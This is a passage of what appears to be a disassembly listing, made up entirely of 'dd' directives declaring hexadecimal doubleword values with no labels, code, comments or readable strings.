0F533BCEDh, 1CBF950h, 7CC2E9AAh, 30D1C526h, 8A015CCEh dd 5274A0A3h, 98EF57A4h, 9CDBF0Dh, 8D6893B3h, 0C34060Ah dd 3D1182CFh, 0B06B071Ch, 19036E40h, 52E2FF7h, 16FCD20Fh dd 0F8FC1450h, 80FC1429h, 32586AABh, 0F20EF4F6h, 20C32374h dd 4019D26h, 0E18D03EFh, 0AB968F24h, 193C89C8h, 2D9ACD1Eh dd 9ECF0D40h, 82682h, 0DDA4B549h, 0ED3F8F7Bh, 0C8BD5100h dd 943A7371h, 62FD0374h, 310F0DB3h, 0A555A1A0h, 41E4F701h dd 0CE0226D4h, 7684AC4h, 656DA7Dh, 0FF13A10Dh, 3CFED828h dd 0F4528017h, 9F0B9100h, 7238705Ch, 22B00030h, 811D6156h dd 0F907A8E5h, 3E05D5A7h, 6EB874B0h, 2F4100DAh, 2EE5FCE8h dd 0A7004F7Eh, 0DE6CCFD0h, 9E78F6h, 6177BB22h, 0FCC3CB52h dd 28F42C00h, 6946E7A9h, 0B0E630h, 0DF6CB140h, 0C3BB1280h dd 0B81782F6h, 0C100259Ch, 3721CCC1h, 260E1E4Fh, 18ECC060h dd 0F1B212F6h, 4003D30Fh, 0E0F8EE63h, 1317DE9Ch, 985F00AFh dd 6EBCE646h, 4C00C5B7h, 1B25AD8h, 0BF3CF5h, 1CDF66F2h dd 0ECD75532h, 0C000B371h, 0F7CBD30Ch, 0B93A8h, 9CE4C4A5h dd 33199813h, 0A1698800h, 8AF763D7h, 92E7005Bh, 0B55223E0h dd 400045E3h, 5184A3A6h, 0C9600Eh, 0DE61B746h, 3F482164h dd 30EB73EEh, 0AB00829Dh, 0AC26BE91h, 8DA061h, 0E6132E07h dd 0E0966379h, 8BD63104h, 0C3AF3BDDh, 6FD810B3h, 573FA997h dd 0B937AC4Fh, 0DD6A3000h, 16720C9h, 16090C7Ah, 714FD5B8h dd 38E4E0CEh, 0EC358400h, 475E3101h, 0EE6A1D73h, 261740BFh dd 0CC10F3E7h, 14A3380Ah, 3F913Ah, 0B56578F8h, 8F8C20h dd 0A37A4CF1h, 0E5413A15h, 0A478B498h, 0B71FF600h, 0C7CB8875h dd 0EA2003B2h, 0BBFB9EEEh, 0AA9F04B8h, 6EDEAE50h, 0EDF13D0Fh dd 8B407EE9h, 1C1C590h, 35AD014Ah, 0B44670A2h, 0C830FD2Fh dd 4E4C8082h, 5A5C0EA0h, 0E5B821EBh, 0BEF0E1F4h, 38A1B807h dd 62803E53h, 0BA59A2F6h, 48033999h, 0E89A43BCh, 1999F36h dd 0D6EA604Ah, 0CF055FDh, 29E90DF6h, 408884h, 657120FCh dd 580008F0h, 337570FBh, 0F29214DFh, 0C0850087h, 32186143h dd 501231C7h, 0F012534h, 9390E958h, 93612CC9h, 262E7864h dd 242187h, 0F84581AFh, 37006A77h, 0FDD7AE99h, 48F1E9h dd 3E1EB414h, 93270A17h, 0A51A8905h, 8180652Dh, 0C2873Dh dd 0D94F2ADCh, 0EFDA4DA9h, 0EC4A2F00h, 0FFDB608Ch, 7DB61FA3h dd 0C1BF1E63h, 0B73C5D53h, 0C024DDAEh, 0C8607EA5h, 43B2B389h dd 653C00E3h, 34FCB09h, 7702C508h, 8E643210h, 0DC924021h dd 967000C1h, 3072359Dh, 0FD3BEFBDh, 0DCFFBECAh, 84C700BFh dd 76622C3Dh, 0E5AF0077h, 1A7C61E6h, 0EBE0DA29h, 5AF23203h dd 88846ED6h, 678203h, 421CD4D9h, 0C7E6526h, 0E31DEA90h dd 0D5C0EFCBh, 17966795h, 29E3B4Eh, 76B69D80h, 690A5DE6h dd 0A900A573h, 0B7F6E125h, 0C63236h, 3ADCD08h, 0BB51A7A1h dd 48FFF324h, 3B173C07h, 0AB3E80B0h, 0C4A04C89h, 0CA0DBC00h dd 0FD8A5B81h, 5E6C8400h, 0B5A62715h, 8943C41h, 0A0E67400h dd 1F89F1D2h, 0E8217900h, 0CD8735B1h, 0EC300005h, 618CFB0Ah dd 1D1DD0CCh, 8B40A472h, 53D7FD7Bh, 0D52200AEh, 0CDFE61E4h dd 8F001817h, 0E56BB173h, 0F40B023Ah, 6269007Bh, 0D61C87A1h dd 3B00AD68h, 0F583C84Ah, 0E5CE6h, 4FCDB959h, 58A9FA3h dd 3953350Bh, 6AC808Fh, 0CE68F2h, 0FCC17A29h, 84D1B2D2h dd 85641B07h, 80701157h, 0FE773B5Dh, 0D76B07CBh, 67F8C1CEh dd 0AE14A36Ch, 0B9161DE0h, 5D365A07h, 23C064E2h, 5609A7h dd 7DE3A1FBh, 79418B26h, 0E00021E0h, 0EF9FC7D4h, 0B84852Bh dd 0FDE6ECA5h, 0AFDC87h, 8FBBA39Dh, 0CC7B3100h, 0B13C18D5h dd 70375CEFh, 8B09AB00h, 85F63CEh, 0AD222E00h, 787206FEh dd 11F5000Fh, 0C356E8CDh, 51241BCFh, 0A838A09Dh, 3209E887h dd 1755ECh, 0FE652B54h, 0EA3803A0h, 0D1CD1AB6h, 0C80951F8h dd 808E783Bh, 0FE9207B3h, 2865AEh, 0C527029Ah, 0F10EFA8Dh dd 1112551Fh, 391F9600h, 1D905E4Eh, 33F20AAh, 7E5522F4h dd 0DA3C9DE0h, 0B8D8870Eh, 0AD6420C6h, 7A72C94Ah, 43B924D1h dd 0E5F40013h, 0C689AA75h, 97B2791Fh, 0E755CEC0h, 0AD290A8h dd 60981C53h, 84833FEDh, 5C543E49h, 43B094F3h, 0CA0033DEh dd 0F279ACA8h, 0C52C57Ch, 0B5783B0Dh, 70596E0h, 0CC2631CAh dd 0D47BB400h, 0AC434Ch, 0D2B911F3h, 3FCEAFFBh, 2FA0F45Bh dd 0EC460E38h, 7C01DD1Fh, 0C409F34Dh, 5603E10Ch, 0B344185h dd 0D4ADA820h, 0E4AA12D8h, 8C642CBEh, 9B007C90h, 0FD895A0h dd 2FBBF17h, 0BEBBF341h, 8440DB16h, 23F4F40Dh, 0CDE7F905h dd 0FE00C29Dh, 57B9EDA1h dd 1E27003Fh, 74095D83h, 0A07BDE7h, 9B05E31Ah, 0AB22F0F0h dd 4308094Eh, 5000612Ch, 402F6A91h, 0D7F8A1Dh, 897388C0h dd 0F9481EAh, 66FFD3DEh, 0AB9D9980h, 8D002371h, 830E4279h dd 7D38BBAh, 4B1F0A69h, 313C87F6h, 0FC76F9h, 842B595Fh dd 54A7E20Bh, 0AF6C81E5h, 80511C64h, 0F5ECB65Bh, 0A029EC3Ah dd 1B8A1C5h, 0E7F26EBAh, 0F09043CCh, 0EF3A2D9Dh, 5C58EAh dd 4A40925Ah, 687122h, 42C0F361h, 39AB493Ch, 0B6F69100h dd 0EF6B09BAh, 280C0B8Bh, 5300D421h, 0D3A77759h, 6F53CE00h dd 0A93E448Ch, 7D85004Fh, 0DC1592DEh, 0C018233h, 0E650429Eh dd 402873BFh, 0E03826h, 26B10AF3h, 28008D35h, 0FAA5CD8Bh dd 1760FAAh, 0BF413027h, 80046C69h, 951CF468h, 0F645B2EEh dd 15E10FF7h, 0EB00BA89h, 218307EFh, 62F54D01h, 35A56824h dd 3D61B03Bh, 173BCC00h, 42EFD116h, 73D5027Dh, 3A2483BEh dd 6C54D0C0h, 0B05F4Ch, 0ECBDC88h, 2C3C49Ah, 29E1283Fh dd 0B080C9AAh, 7C5534A7h, 0BBF84800h, 0CA5ABFEBh, 0C6661F9Bh dd 8BB200EEh, 2920C07Dh, 0E47F7700h, 7AB569AAh, 9E748Ch dd 0A3DA7E98h, 0B260F151h, 58E71230h, 0E80AF24Ah, 9E551318h dd 0F8380335h, 0DA85C36h, 6D24F0DCh, 0BD806473h, 0BE7DBAA5h dd 0D7700038h, 7496CD1Eh, 88002864h, 0DC2B2C5Eh, 97DBA3h dd 0B65D9208h, 1D9A0B23h, 0D1DE3603h, 9BBB8219h, 0EFA1F0CFh dd 8CE6B7h, 6D71CED2h, 9F27A4F5h, 36B0B200h, 0F33F7C09h dd 0DBE67Fh, 15BA19AEh, 8E0FFE5Fh, 0A4B66F00h, 2F98E072h dd 653F0001h, 2D7A337Ch, 0AC1257CBh, 6002D856h, 198B46BFh dd 4D003F02h, 4B300AD6h, 2F04008Eh, 4255072Eh, 0C500CC76h dd 0DA682DCAh, 162C134h, 0A5350381h, 33BB0DD3h, 579B40D4h dd 1127CF00h, 1F2A552Fh, 4D630F1Ah, 960D996h, 0A9FE4094h dd 217CCB1Ch, 9F3D2070h, 0D57561h, 3FF888B3h, 26C48B98h dd 476AD4F1h, 0E413E890h, 0E020BE3Ah, 3FA4518Ch, 386D2F9h dd 104ECD96h, 0EF84A00h, 72E07E3Eh, 0DDC53F8Eh, 0C200A4CCh dd 480FF4DAh, 2113F88Dh, 4D17742Ch, 98BC0423h, 1605D40h dd 510967F3h, 0C49244E6h, 8803EC12h, 0ED0DA7BAh, 11E3906Dh dd 0A499003Ah, 37A9CABh, 87E298FCh, 0E5973309h, 8F9A8067h dd 8655E4h, 3CBB18D2h, 0AACFC00Ah, 0A1138200h, 5A76DACEh dd 9110002h, 0D484064h, 0F52C0168h, 0E800E5F6h, 72317D92h dd 0C80F0039h, 4FD50B0h, 23092041h, 83B4177Eh, 0E07F0708h dd 0F2D4AAh, 66DECA6Eh, 30C85167h, 0FC363200h, 8920C254h dd 0AA80009Eh, 0FA16F2ACh, 0A914B2C3h, 0FB061Fh, 8DC6F87h dd 3F322C0Ah, 1F4132Ah, 0D5F87B92h, 39576CBEh, 80028B6Ch dd 17C063E3h, 495E74BBh, 0B942C81h, 0FCF2A50h, 0A55348F1h dd 3DE8740h, 0E1EAB4Ah, 82E74584h, 6871FFACh, 905C635Ch dd 2C790Ch, 7F0A5A62h, 21A540DAh, 0FF32ED00h, 6CCEE8B5h dd 2A9809B8h, 1003D43Dh, 4EB26EFAh, 0DC6754C1h, 0E825A9F9h dd 0B85000AAh, 13EA8D7h, 9484A41h, 3053232Bh, 0C100CC90h dd 0B128B477h, 2687B76h, 9ED1F30h, 88E098C5h, 7CE23AA4h dd 0B013B100h, 9F29EC35h, 6E5B003Dh, 0B49C818Fh, 11051CAAh dd 75DB1F76h, 95D105C0h, 8CB039h, 502D4538h, 0D55802EFh dd 9FFEA00h, 64ED1D15h, 5399078Ah, 5527E4E7h, 0A1C8208Ch dd 0A00E661h, 8BB4A445h, 0C7A62Fh, 0F76D252Ch, 0B9C50ED7h dd 2D267200h, 1B625340h, 0ECAF1F96h, 83690063h, 73EEE6DCh dd 2A79CB1Dh, 0FC1F70A6h, 0ADFE5103h, 9920F85Dh, 0F33200F7h dd 0DF3C07AFh, 277462C0h, 4323F092h, 83F800B5h, 13C9233Fh dd 6D37E700h, 80CE08E2h, 0F27C5Fh, 0DDDCC5A9h, 4D5D0906h dd 0D55BCC00h, 7B9459C2h, 2910C04Ah, 524EC866h, 92B91E3Fh dd 70C02309h, 7AE1380h, 0CE9877D2h, 593B628Bh, 0B41A0C48h dd 0AC00787Bh, 0CAFC320Bh, 0CD28014h, 91C5B75Ah, 36F6C010h dd 3DCBC200h, 0DDBB6C89h, 0C67200B8h, 8F276031h, 173FE055h dd 0C30267Fh, 98DB00B9h, 4845F056h, 0E4A8149Ch, 5500A85Fh dd 6687624Bh, 1A7E219Fh, 0D0F9D307h, 0FFE06939h, 0B28F64h dd 7C19ACECh, 386CE67Ah, 0D8AE061Dh, 0E800CE17h, 392BF230h dd 8FD000A4h, 2AF2334h, 79038EBFh, 6B777E87h, 0F8FC90C0h dd 0F5620049h, 9F4A8D47h, 0CA3C84EAh, 0B61D127Ch, 0F96CAC00h dd 6A0B0Eh, 786B8E75h, 60304A73h, 987FC700h, 2AB8D813h dd 1070105Ah, 8CF800D9h, 0F094C742h, 349F00BFh, 2FDF9C51h dd 0A203521Ch, 0BE01553Ah, 885DC0C8h, 48A400C0h, 74265459h dd 580097AAh, 5EF263ABh, 0E2083CEh, 231E8088h, 530110A9h dd 30998F70h, 16003E44h, 6A4A2FB1h, 2DA0DF7Fh, 5800E4E8h dd 0BDCC04AAh, 0FA64E100h, 20AECE11h, 8D7D0279h, 0A80396D9h dd 24B1A0C0h, 0EF819A01h, 0CDC9B6E4h, 3E0F830h, 56D55CC6h dd 0E3ABDDD9h, 0A4173ED0h, 3767003h, 0C006448Fh, 549EBBCh dd 0F0629B2Dh, 23F0C0C0h, 0B901AA0Eh, 98657D21h, 0FC78ED3Ah dd 20446A13h, 571A3818h, 0E0959F00h, 9CEDEAA0h, 863A0054h dd 5B80287Dh, 3C00DA9Dh, 0C9F311DCh, 0D82BC5h, 0C3982721h dd 0A5149A87h, 11765AECh, 2A6F58h, 0A6486C12h, 0E22EC4AEh dd 98D11D29h, 8918802Dh, 851C56A9h, 9F023900h, 1213039Bh dd 915D1FCCh, 0B98AC4A1h, 0B800B3D6h, 4B402232h, 8949E012h dd 0B3E7F020h, 0EE2700BEh, 0E506ACCAh, 5203461Eh, 0CE2C43F1h dd 0C339909Ah, 0E01600C5h, 0E8A82511h, 0D207ABC1h, 63F143C4h dd 0B342C0F3h, 4D588855h, 0CFC1389Fh, 0EC659214h, 584A26h dd 6C37F2EBh, 6900DBB0h, 2045D6C8h, 74D3B5h, 26F0A8B6h dd 9E1AE12Ch, 43573700h, 0FA3C7732h, 1DBBF09Fh, 8341A8A5h dd 638E69AEh, 399840C5h, 92063677h, 0C718C21Fh, 0E501380h dd 1FC36F64h, 40D40AB4h, 61E3844h, 0B9037DAAh, 8B0C563Bh dd 0BA10010Dh, 78904075h, 0E8FCF117h, 3F07A5F9h, 8CF6610Bh dd 0CCB86E20h, 0ED700019h, 0D153D827h, 247182C1h, 0A96C8B04h dd 0C083D3E1h, 97BBB050h, 0F230143h, 0B3AB5FECh, 64CAE065h dd 94777B0Bh, 5AC8148h, 0E80F9FFh, 0B89BC01Ch, 0B6000EACh dd 937D56C2h, 7E4991h, 70F53003h, 84D72685h, 0AEAF9400h dd 0B3BABB31h, 8D50546h, 0A0E3A690h, 930044ECh, 26BB6BADh dd 0D9FA06h, 55842BEFh, 2C4C3F41h, 5F1FB0Bh, 8A71874Eh dd 9A29EEC0h, 1B8F0012h, 3943822Ah, 4F0BBA15h, 898BC85Dh dd 710047BCh, 2905618Ch, 1A460000h, 0E50AEDE8h, 0A1D979A4h dd 18C022A4h, 958E00FBh, 5BFFC6A8h, 20129CAh, 0FEFA8C0Bh dd 74C01DE3h, 381F12B8h, 0D814B0DAh, 8064A059h, 4F8B9E7h dd 83790FCDh, 0C0525C9Bh, 47151CA0h, 8D340900h, 10F5D8B3h dd 0CF640020h, 0B48A5243h, 15008419h, 771E3FB6h, 143E1742h dd 0D04DBBC1h, 0C92CA000h, 37559BEAh, 0B25B1100h, 0DBBFAB61h dd 0E7400FFh, 4A6BB14Dh, 8926FBE5h, 0DD00D369h, 63BD0599h dd 2B17006Fh, 0AA54C370h, 0D2002AC7h, 61A5FB65h, 1C15F3h dd 96FCDAC8h, 0BA0C7299h, 3C1EE0FAh, 5DCEE3CFh, 0EA88E011h dd 25B178C6h, 0C760D9Ch, 33719B00h, 0E6DE14h, 0AA7BA1B9h dd 1146395Dh, 6C79C700h, 5B16E79Bh, 0EB600FDh, 3924884Ch dd 9700050Bh, 0A7EA0847h, 4922B5h, 0F953A26Ch, 40245BA1h dd 482AC100h, 0DBFCEAF5h dd 0AA880019h, 0DF9A8284h, 0DEF0D59Fh, 588B1300h, 59D64E73h dd 3AF10EBEh, 696031AFh, 0E5A9EF8Dh, 0F0055FAh, 38495487h dd 7322C01h, 0F5813A59h, 5D4310E6h, 25001384h, 0F80EBEA2h dd 37330F0h, 0FDF11AC5h, 129846A4h, 0B80033BCh, 42527BB4h dd 965456D7h, 5FBA0054h, 29AC44E8h, 457ABC00h, 175AA3B9h dd 5C4300F0h, 0CD5B3671h, 0F018D64h, 66CF5051h, 0FA402E8Fh dd 0F277A855h, 7F211F62h, 0E006C01Ah, 11DA2B92h, 43416907h dd 855047CCh, 2EE32E10h, 442537h, 4C61AF6Eh, 60008D7Eh dd 4A02FCF3h, 0F6CD94DBh, 1FCF17C3h, 1844737h, 7C304BA7h dd 0CF0C6561h, 7A54D729h, 0B579003Eh, 427C09F7h, 50006CBDh dd 0D7152635h, 7DA9846h, 691FB45h, 3847064Bh, 0CB0BC5EAh dd 5FF4DEh, 0B5B3A69Ch, 843200CEh, 0BBCA277Bh, 0AD07956Bh dd 4A460F11h, 0A9381Ch, 8A0C0119h, 2CCED5CAh, 0A8C0A54Ah dd 7F21B5Ch, 553B14E5h, 38C790E8h, 121CA0BDh, 0A1DC164Fh dd 0A000CF53h, 0BC2052DBh, 0C078005Bh, 63DAEE2Ch, 4043FF3h dd 81FCDF0Ah, 0ADC22CA8h, 1602561h, 8007CEF1h, 0DCC74AEFh dd 0B26DB493h, 2FF8E00Bh, 600600CBh, 43A88D4h, 0EA00B551h dd 28D16BACh, 7E71FF7h, 9FDB375h, 0DDC57025h, 880E14A9h dd 76368A98h, 0CB5A4800h, 7A1AC4CDh, 91A9000Fh, 4CB44DCFh dd 0E3005FF5h, 251F9A5h, 0C306CCh, 0F478D4F7h, 6C459831h dd 8F74E077h, 8B72E902h, 6168DF12h, 58D07FA4h, 0F9E11E09h dd 0FC1F0086h, 179A6683h, 1DB14F00h, 0EA05722Dh, 628804A4h dd 0A80FEDC2h, 6E4525F4h, 226B01F0h, 611ED8D6h, 5F62D020h dd 1CAB3500h, 85AC23D5h, 27860051h, 0EAD254FFh, 9B0E61E0h dd 0F5CA039h, 57BE27B6h, 0D07329A3h, 36D21Fh, 743CC279h dd 25F1C1BFh, 69070607h, 0AA17BA20h, 6A488E60h, 5B140FD6h dd 2BA0DCE6h, 0C366248Bh, 91D0B800h, 478AF056h, 0BB4718Dh dd 9E72BBB5h, 0B3D00Ah, 3305549Ah, 290ECD89h, 6378B166h dd 0C0510E65h, 209867h, 0D0E5384Bh, 0A353F41Ch, 0D44C3101h dd 0A5297057h, 3CF8DC30h, 5E804BA6h, 45720BE4h, 91000FBFh dd 3B4FA8EAh, 71317926h, 755B0046h, 9AC25C51h, 0F1FA5D8Eh dd 0AAA5E800h, 7D18ACF8h, 2DD20057h, 40230E9Fh, 0A10011F0h dd 7C1DF246h, 1ECA51F8h, 78EB6Ch, 200E9450h, 3098E696h dd 859AD127h, 30C01004h, 0C6C8AEh, 14E79D51h, 90415773h dd 0E0D24851h, 56008F42h, 0A506FF6h, 65FD9Dh, 588E03DCh dd 3B30CEE8h, 0EDA53107h, 7BA3F05Eh, 0C68884Fh, 69D30073h dd 61808206h, 0C2097CDFh, 4C5D833h, 0AB706F0Ch, 220B6589h dd 606676F1h, 5AC373Ch, 0C8B105Eh, 0CF78C0F9h, 72EA83CDh dd 8DDB3612h, 0A6A5A400h, 0D382BFh, 2766F53h, 37265017h dd 0B8685Ch, 0B5E5D6A9h, 3AD0A5F2h, 710E1FBAh, 0E0CF6BB4h dd 0FDF3805Fh, 2425E833h, 29DA38h, 0B83639EDh, 2313BAh dd 4862B0A2h, 1D5D5464h, 1890EC00h, 73C93FFDh, 97513C68h dd 0A13B7B01h, 60A63745h, 937AE0C0h, 619E0A07h, 3F00142Ch dd 776405h, 0C357F503h, 497FD9BEh, 0F3B0E905h, 39C0D411h dd 0FB5BBh, 2A406B9h, 0C5D0B147h, 95D6ED0Ah, 9804F8F6h dd 2E1619B0h, 0EF0F7D2Ch, 0E01D9979h, 1264F367h, 2B800753h dd 90B691E6h, 0F7D1488Ah, 824D7F3Bh, 0E7826459h, 0C228E051h dd 0B090CCh, 0AC30175Ch, 267654D5h, 0FA49880Fh, 0F0C2E497h dd 47248CC0h, 0E85300CFh, 268AD0EBh, 820446B5h, 85B3675Bh dd 930F7CC0h, 13A5004Ch, 978BAE6Eh, 0C37BAACDh, 8245F207h dd 0C1A017ECh, 29C2E8h, 7E6F0DBFh, 3E16FF13h, 67781C00h dd 442FC54Eh, 5B2C0059h, 0D4ACCE76h, 0EC038C17h, 4EE53D1Ah dd 0A0ABBBA7h, 0F757A24h, 3644C1E7h, 385199A0h, 8E00777Fh dd 0DAEDD5CCh, 219640h, 36185E2Eh, 801CD79Fh, 0C64C5600h dd 25C75FD2h, 0DF9000A6h, 0E0EE1ED6h, 0DD006DACh, 7BE66A75h dd 39D54Dh, 0E5B79E3Ch, 37741569h, 5BE4400h, 52C3FF2Ch dd 0E3DE07DCh, 0B008C438h, 1DC56DBAh, 0E6512300h, 0AD1E186h dd 444007Dh, 0DDD7B3D2h, 0C100A9BDh, 0BCDA7BDBh, 0D183ADh dd 919B0619h, 76FCCCD7h, 0DE002B75h, 7F2F1F9Dh, 0ECA8E7BEh dd 0FAD90012h, 80B7FE54h, 8D0130E0h, 4DC176DEh, 3B209D17h dd 0C971A9h, 973C167Dh, 0B25FA857h, 22061F00h, 531E43ACh dd 0D4E03DB5h, 3D0B9A80h, 322BA774h, 663E4600h, 90D985F5h dd 0EDF300E6h, 0ABFE6F26h, 7E00526Ah, 78298809h, 7B73B258h dd 8E9F0044h, 9DF09801h, 0D1036551h, 40B8AB9Ch, 5A14F866h dd 0DD7200B0h, 2E2B57DBh, 0D0714F3Bh, 6EE6D900h, 81AAFB1Dh dd 0D76F024Eh, 4196840Fh, 88E83342h, 230063D1h, 713EC2C4h dd 165BD39h, 0AAA4526Fh, 0E128A5DAh, 0FF46D843h, 0FAD89502h dd 60729E83h, 0A87E50h, 6A1FED49h, 983BE251h, 5880804Ah dd 7C3196Dh, 8A402A1Dh, 0FE3181EFh, 0E6D3F3C5h, 8012CADBh dd 0B880A00Bh, 0C31CB3h, 0F9616D79h, 0B2D0198Fh, 6B32BA14h dd 54BD00E1h, 22906E7Ch, 0B52109ECh, 0E0F0D5DCh, 0FFDB3Fh dd 0C1FD3A4h, 1DA31AA1h, 83523583h, 549371B5h, 149269A0h dd 62180F16h, 7FBC8800h, 5C6EF41Dh, 9F3D008Dh, 401C9900h dd 69AB2897h, 0B4D08300h, 0D9AF65C9h, 18700066h, 43B8786Ah dd 0EE0071CEh, 48FD526h, 818ECDh, 70A1E1CBh, 0BDD2D12Bh dd 87E4F23Bh, 0B6C95DC5h, 0FE0007A5h, 4A90B822h, 0E6C20033h dd 0B958D471h, 23001246h, 775741D5h, 15A40D8Dh, 907BD927h dd 84DED402h, 6C7ED87Dh, 0AB020B74h, 47A450h, 0E41C3F71h dd 4C005C7Ah, 0E50CA4AEh, 0B795D1h, 2AF36622h, 831E01F4h dd 0C026A607h, 1B004EE6h, 1038AA5h, 59476769h, 80237E3Eh dd 7CB0C430h, 5534A2Bh, 0CD27B73Ch, 299FC031h, 640623A6h dd 0F577C36Dh, 82E0036h, 0B5826613h, 76E887CBh, 812D920Bh dd 0AE480C6h, 4B9F0EF4h, 0B4840FBCh, 0E7D000F6h, 0CB8CF8Ch dd 88850900h, 0E8FA7203h, 698300B4h, 1BAEDA63h, 0E1000C8Fh dd 28645C42h, 3F5372E0h, 0F10B16CAh, 0BB81ABC5h, 0C0059727h dd 0A6502441h, 0AE9F84C0h, 0D8C90F38h, 762E088h, 0C79540BCh dd 5874B1C2h, 0A9A4047h, 115FE2Bh, 0E0D3A3h, 0A0186AC7h dd 217E2Dh, 0E6FFC480h, 0A77FF57Ah, 0D4D83F50h, 7DB43501h dd 33DD6C83h, 483741D8h, 380ED049h, 3EC07AA0h, 0CECD8A35h dd 84ED9D01h, 1BF3CB1Dh, 57F49080h, 0F18D099Bh, 988090B9h dd 61A38A21h, 0FE810B54h, 24C06204h, 0EE0E5BA6h, 0C2AC20DFh dd 615A8FBBh, 2ECCD8F9h, 8B0E0086h, 0C5A9A128h, 35720283h dd 0E1FE0B05h, 3CE01479h, 437F1FD7h, 3EB08094h, 3CB20447h dd 0E9200B0Bh, 0A000C02Dh, 1A541F43h, 951DC39Dh, 6EF9CB19h dd 0D1D6D8DCh, 607E52EAh, 0ACF48309h, 49FCC0F7h, 7DE900B8h dd 0EDCF3B12h, 0E100E4BAh, 478072ABh, 0B73831h, 0B84ABF56h dd 1FF15F3h, 0AB258414h, 9E2100B8h, 0B9092F46h, 0E1EB07BCh dd 407B0E1Eh, 0BD45CBCDh, 5BBFAD1Fh, 98F0DAC3h, 0ED3190E2h dd 75841ED0h, 0B5064308h, 0A2B03950h, 8200EE61h, 5A1A8623h dd 2431D934h, 80489199h, 0E2A1EA21h, 0C13D3BA8h, 0DC552462h dd 5E80659Dh, 0BD3D9C13h, 323000C0h, 0C769D4B1h, 4401C585h dd 0ACC9BBBh, 670239Ch, 92070066h, 0EF743753h, 3F3ECAD1h dd 0BA2580F0h, 41B7FD45h dd 0DB2D006Dh, 0AEF11C36h, 0A100A0BEh, 7D6DAC7h, 38402F93h dd 3400B8D4h, 95485DBDh, 0D04BA055h, 0FB2E3421h, 79143AC8h dd 89260070h, 0D23C6609h, 6E00C92Ch, 4E2E80D4h, 14DE5Dh dd 0FE6BD0B4h, 4926984Bh, 4109C702h, 718B8052h, 7574009Ch dd 0B455BED8h, 0C1066D00h, 2F599AA6h, 389909AEh, 6482A564h dd 0F85486C4h, 8D2C4880h, 1D9FF6F8h, 1DAD4EA7h, 0A826C03Ah dd 769D3798h, 0B2C60300h, 4360D233h, 0A9CC0F0Ah, 8C89A60Eh dd 0A4346680h, 5D0BCE9Ch, 80C07E38h, 0FC5A18C0h, 11F9093h dd 8216F4F0h, 0FC80145Eh, 71E259FDh, 4000B14Eh, 0E9BF9789h dd 0CC870019h, 34A24C5Bh, 78005824h, 0CA1F1F3h, 0CAD508h dd 0EEFE4618h, 792B3EF8h, 0CECB350Bh, 1FB1808Ah, 0AE808h dd 0F32F87B8h, 0D7A85B0h, 210C8CB2h, 68891653h, 31700F9h dd 1913298Bh, 0DB005A3Bh, 0EEB38AB4h, 0CAF7F7Ch, 0E00A01AAh dd 627A0B28h, 0C79B6300h, 0CD1391CFh, 0E787053Ch, 0A9A592AAh dd 0CB07C40h, 0F3155400h, 444A2D6Ah, 9AA10002h, 0C5202B07h dd 87761799h, 3DC32C00h, 4A70DCBEh, 38160079h, 47DF6524h dd 720061CEh, 42779396h, 744AE9E8h, 70465C13h, 48F4DE00h dd 875EEDA4h, 0F8B7AF00h, 0F0A88BDCh, 0FA1D0051h, 0C1C2B89Eh dd 143AFD48h, 4E0776E8h, 623712A7h, 7A775300h, 406900ECh dd 0DB70B6C5h, 55E82BB5h, 5971F800h, 0A2A8C16Eh, 2639009Eh dd 29183DB3h, 557A1BF9h, 30EBCF90h, 89033322h, 0AC0F2B5Fh dd 1867C8BDh, 60900B9h, 0C1D7DB3Fh, 0C700B2C5h, 7F8D2873h dd 2CEA0DB3h, 4E4583h, 975F9CF9h, 0DE39638Eh, 2C4589Eh dd 0E0834F90h, 16E84035h, 1C7BBAh, 0F0968611h, 3ED2EE65h dd 0CDDF3B00h, 3171A305h, 1F85008Eh, 5E0A1523h, 0C80029ECh dd 0CB86BE83h, 0B6E7756h, 0CC7D44F8h, 0FC66E880h, 0E872F797h dd 0C0BFDD2Dh, 0D5580h, 362B393Bh, 45E7EFE9h, 9B85D70Fh dd 4891E0DDh, 3B63EDh, 455616Ch, 8067F872h, 77E24F0Bh dd 4AECC0E1h, 280300A4h, 0AA976832h, 100244C1h, 6E563F05h dd 0D14C046h, 6B0F00C2h, 0BBCAF999h, 183DFB4Ch, 0C4258016h dd 0E33B931Fh, 63920181h, 0C317DD49h, 1EBCFCC9h, 80957E3Ch dd 5482F856h, 0F81D91Ch, 8079AFF5h, 2CD68E80h, 455F2DBEh dd 4CAAF400h, 3E9CE91Ch, 1A800FD0h, 43F0099Fh, 96008C97h dd 199E63CFh, 55EF17Fh, 4D392FB3h, 0E29BC1E4h, 0D954DD6Ch dd 0C683F8DEh, 5B550800h, 0E876AB05h, 2DAC9294h, 34802D69h dd 0A0C8DDE4h, 0F964BB00h, 0CFA9DC79h, 3DFD00CEh, 5FA299BCh dd 4B50D1EEh, 6FA2518h, 205549CFh, 3C057E93h, 74BF0092h dd 0A2639BFBh, 110024DEh, 43CC706Bh, 7B6DDDh, 4FA73167h dd 4E5C1EBFh, 7175107h, 94008BCBh, 5303B9h, 0CD4C1980h dd 6223C56Fh, 896BD112h, 5E871F1Dh, 10D049DFh, 0F4ADC1h dd 0D6D2C506h, 5F40F775h, 120FB890h, 41FF92A4h, 80F821B2h dd 8DE55BD1h, 9F032028h, 6C9BEC06h, 8C9C53A8h, 0EAB519C4h dd 0C06018A4h, 0D1428138h, 5C00526Ah, 3FB87441h, 7DE3E75h dd 0C0057057h, 33A6D0D4h, 0FB009BB5h, 0B1F7C9A8h, 41B8D9h dd 0CDA1BC77h, 0C4CE0A04h, 392938h, 968A9121h, 4841F9h dd 6C683823h, 43D5A35Fh, 0CE933Eh, 3A993D6Ah, 0E81075C6h dd 547800B2h, 0E8BFE9A8h, 0D9009728h, 0AB3E761Fh, 4916DA7h dd 0BBD21C04h, 2E68B4F0h, 472A0F00h, 0E7A6FC05h, 9374141Fh dd 0B93B10E6h, 0B5DE8801h, 0D4C5A067h, 0E3001481h, 8A850736h dd 503195C4h, 7CA88DAh, 6279BF8Fh, 76A8D0C2h, 0AE245C1Fh dd 81940875h, 378407E9h, 9BF29569h, 0F020E115h, 279E5E0h dd 5D7BB091h, 86E0DF8Ah, 0AB1EFD51h, 0EF408427h, 0F4BCA526h dd 0F8BACCh, 4345B544h, 396F818Bh, 67745CEEh, 20A0B931h dd 0B6C87D47h, 0C3A8009Dh, 619919B2h, 0F100C6AAh, 6787A37h dd 249FAE7Dh, 84A88F24h, 8CBEE8ADh, 1704B3B0h, 6CA3C1C7h dd 13123881h, 0ABE54A8Bh, 8FC51000h, 0FC037236h, 0B8F1BE31h dd 4035A9D3h, 37A4D087h, 5FD2275h, 67BABC84h, 0ED588B03h dd 84BCB850h, 